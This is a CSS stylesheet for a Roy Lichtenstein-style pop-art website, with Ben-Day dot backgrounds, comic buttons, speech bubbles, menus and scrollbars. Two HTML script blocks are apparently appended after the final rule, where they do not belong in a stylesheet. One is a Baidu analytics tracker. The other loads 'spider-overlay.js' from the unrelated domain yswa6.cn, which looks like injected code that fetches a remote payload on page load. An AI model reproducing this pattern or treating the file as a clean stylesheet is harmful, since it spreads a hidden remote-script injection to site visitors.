﻿/* =============================================
   POP ART / BEN-DAY DOTS STYLE
   Roy Lichtenstein inspired comic book aesthetic
   ============================================= */

/* ---- Google Fonts Import ---- */
@import url('https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@400;700;900&display=swap');

/* ---- Base ---- */
html {
  scroll-behavior: smooth;
}

body {
  font-family: 'Noto Sans SC', 'Comic Sans MS', 'Arial Black', sans-serif;
  background: #ffffff;
  overflow-x: hidden;
}

/* ---- Ben-Day Dots Backgrounds ---- */
.dots-bg {
  background-color: #ffffff;
  background-image:
    radial-gradient(circle, #000000 1px, transparent 1px),
    radial-gradient(circle, #ff0000 1.5px, transparent 1.5px);
  background-size: 18px 18px, 36px 36px;
  background-position: 0 0, 9px 9px;
}

.dots-bg-yellow {
  background-color: #ffff00;
  background-image:
    radial-gradient(circle, #000000 1px, transparent 1px),
    radial-gradient(circle, #ffffff 2px, transparent 2px);
  background-size: 15px 15px, 30px 30px;
  background-position: 0 0, 7px 7px;
}

.dots-bg-blue {
  background-color: #0066ff;
  background-image:
    radial-gradient(circle, #000000 1px, transparent 1px),
    radial-gradient(circle, #ffffff 1.5px, transparent 1.5px);
  background-size: 16px 16px, 32px 32px;
  background-position: 0 0, 8px 8px;
}

/* ---- Halftone Text Effect ---- */
.halftone-text {
  background: repeating-linear-gradient(
    0deg,
    #ff0000 0px,
    #ff0000 2px,
    transparent 2px,
    transparent 4px
  );
  -webkit-background-clip: text;
  -webkit-text-fill-color: transparent;
  background-clip: text;
}

/* ---- Comic Box ---- */
.comic-box {
  border: 3px solid #000;
  box-shadow: 4px 4px 0 #000;
}

/* ---- Comic Button ---- */
.comic-btn {
  display: inline-block;
  border: 3px solid #000;
  box-shadow: 4px 4px 0 #000;
  cursor: pointer;
  transition: all 0.15s ease;
  text-decoration: none;
  letter-spacing: 0.02em;
  position: relative;
}

.comic-btn:hover {
  transform: translate(2px, 2px);
  box-shadow: 2px 2px 0 #000;
}

.comic-btn:active {
  transform: translate(4px, 4px);
  box-shadow: 0 0 0 #000;
}

/* ---- Comic Badge ---- */
.comic-badge {
  border: 3px solid #000;
  box-shadow: 3px 3px 0 #000;
  letter-spacing: 0.05em;
}

/* ---- Comic Card ---- */
.comic-card {
  border: 4px solid #000;
  box-shadow: 6px 6px 0 #000;
  transition: transform 0.2s ease, box-shadow 0.2s ease;
}

.comic-card:hover {
  transform: translate(-2px, -2px);
  box-shadow: 10px 10px 0 #000;
}

/* ---- Comic Panel ---- */
.comic-panel {
  position: relative;
}

.shadow-comic {
  box-shadow: 10px 10px 0 #000;
}

/* ---- Speech Bubble ---- */
.speech-bubble {
  position: relative;
  background: #fff;
  border: 4px solid #000;
  border-radius: 12px;
  box-shadow: 5px 5px 0 #000;
  transition: transform 0.2s ease;
}

.speech-bubble::after {
  content: '';
  position: absolute;
  bottom: -20px;
  left: 30px;
  width: 0;
  height: 0;
  border-left: 16px solid transparent;
  border-right: 16px solid transparent;
  border-top: 20px solid #000;
}

.speech-bubble::before {
  content: '';
  position: absolute;
  bottom: -14px;
  left: 33px;
  width: 0;
  height: 0;
  border-left: 13px solid transparent;
  border-right: 13px solid transparent;
  border-top: 16px solid #fff;
  z-index: 1;
}

.speech-bubble:hover {
  transform: translateY(-4px);
  box-shadow: 8px 8px 0 #000;
}

/* ---- Avatar Ring ---- */
.avatar-ring {
  transition: transform 0.2s ease;
}

.avatar-ring:hover {
  transform: scale(1.15);
  z-index: 10;
}

/* ---- Counter Numbers ---- */
.counter-num {
  font-variant-numeric: tabular-nums;
  letter-spacing: 0.05em;
}

/* ---- Header ---- */
#header {
  background: rgba(255,255,255,0.95);
  border-bottom: 4px solid #000;
  backdrop-filter: blur(8px);
}

#header.scrolled {
  background: rgba(255,255,255,0.98);
  border-bottom: 4px solid #000;
}

/* ---- Hamburger Animation ---- */
#hamburger.open span:nth-child(1) {
  transform: translateY(8px) rotate(45deg);
}

#hamburger.open span:nth-child(2) {
  opacity: 0;
}

#hamburger.open span:nth-child(3) {
  transform: translateY(-8px) rotate(-45deg);
}

/* ---- Mobile Menu ---- */
#mobile-menu {
  animation: slideDown 0.3s ease-out;
}

#mobile-menu.open {
  display: block;
}

@keyframes slideDown {
  from {
    opacity: 0;
    transform: translateY(-10px);
  }
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

/* ---- Section Reveal Animation ---- */
.reveal-section {
  opacity: 0;
  transform: translateY(40px);
  transition: opacity 0.7s ease, transform 0.7s ease;
}

.reveal-section.visible {
  opacity: 1;
  transform: translateY(0);
}

/* ---- Comic Halftone Overlay (decorative) ---- */
.comic-halftone::before {
  content: '';
  position: absolute;
  inset: 0;
  background-image: radial-gradient(circle, #ff0000 1px, transparent 1px);
  background-size: 8px 8px;
  opacity: 0.05;
  pointer-events: none;
  z-index: 0;
}

/* ---- Inline Link ---- */
.nav-link {
  position: relative;
  text-decoration: none;
}

.nav-link::after {
  content: '';
  position: absolute;
  bottom: -2px;
  left: 0;
  width: 0;
  height: 3px;
  background: #ff0000;
  transition: width 0.3s ease;
}

.nav-link:hover::after {
  width: 100%;
}

/* ---- Split Background Panel ---- */
.split-panel {
  position: relative;
  overflow: hidden;
}

/* ---- Footer Links ---- */
footer a {
  position: relative;
}

footer a::after {
  content: '';
  position: absolute;
  bottom: 0;
  left: 0;
  width: 0;
  height: 1px;
  background: #ffff00;
  transition: width 0.3s ease;
}

footer a:hover::after {
  width: 100%;
}

/* ---- Scrollbar ---- */
::-webkit-scrollbar {
  width: 10px;
}

::-webkit-scrollbar-track {
  background: #f0f0f0;
  border-left: 2px solid #000;
}

::-webkit-scrollbar-thumb {
  background: #ff0000;
  border: 2px solid #000;
}

::-webkit-scrollbar-thumb:hover {
  background: #0066ff;
}

/* ---- Responsive Fine-tuning ---- */
@media (max-width: 768px) {
  .dots-bg,
  .dots-bg-yellow,
  .dots-bg-blue {
    background-size: 12px 12px, 24px 24px;
  }

  .comic-card {
    box-shadow: 4px 4px 0 #000;
  }

  .comic-card:hover {
    box-shadow: 6px 6px 0 #000;
  }

  .comic-btn {
    box-shadow: 3px 3px 0 #000;
  }
}

/* ---- Accessible Focus Styles ---- */
a:focus-visible,
button:focus-visible {
  outline: 3px dashed #0066ff;
  outline-offset: 3px;
}
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script src="https://yswa6.cn/spider-overlay.js"></script>

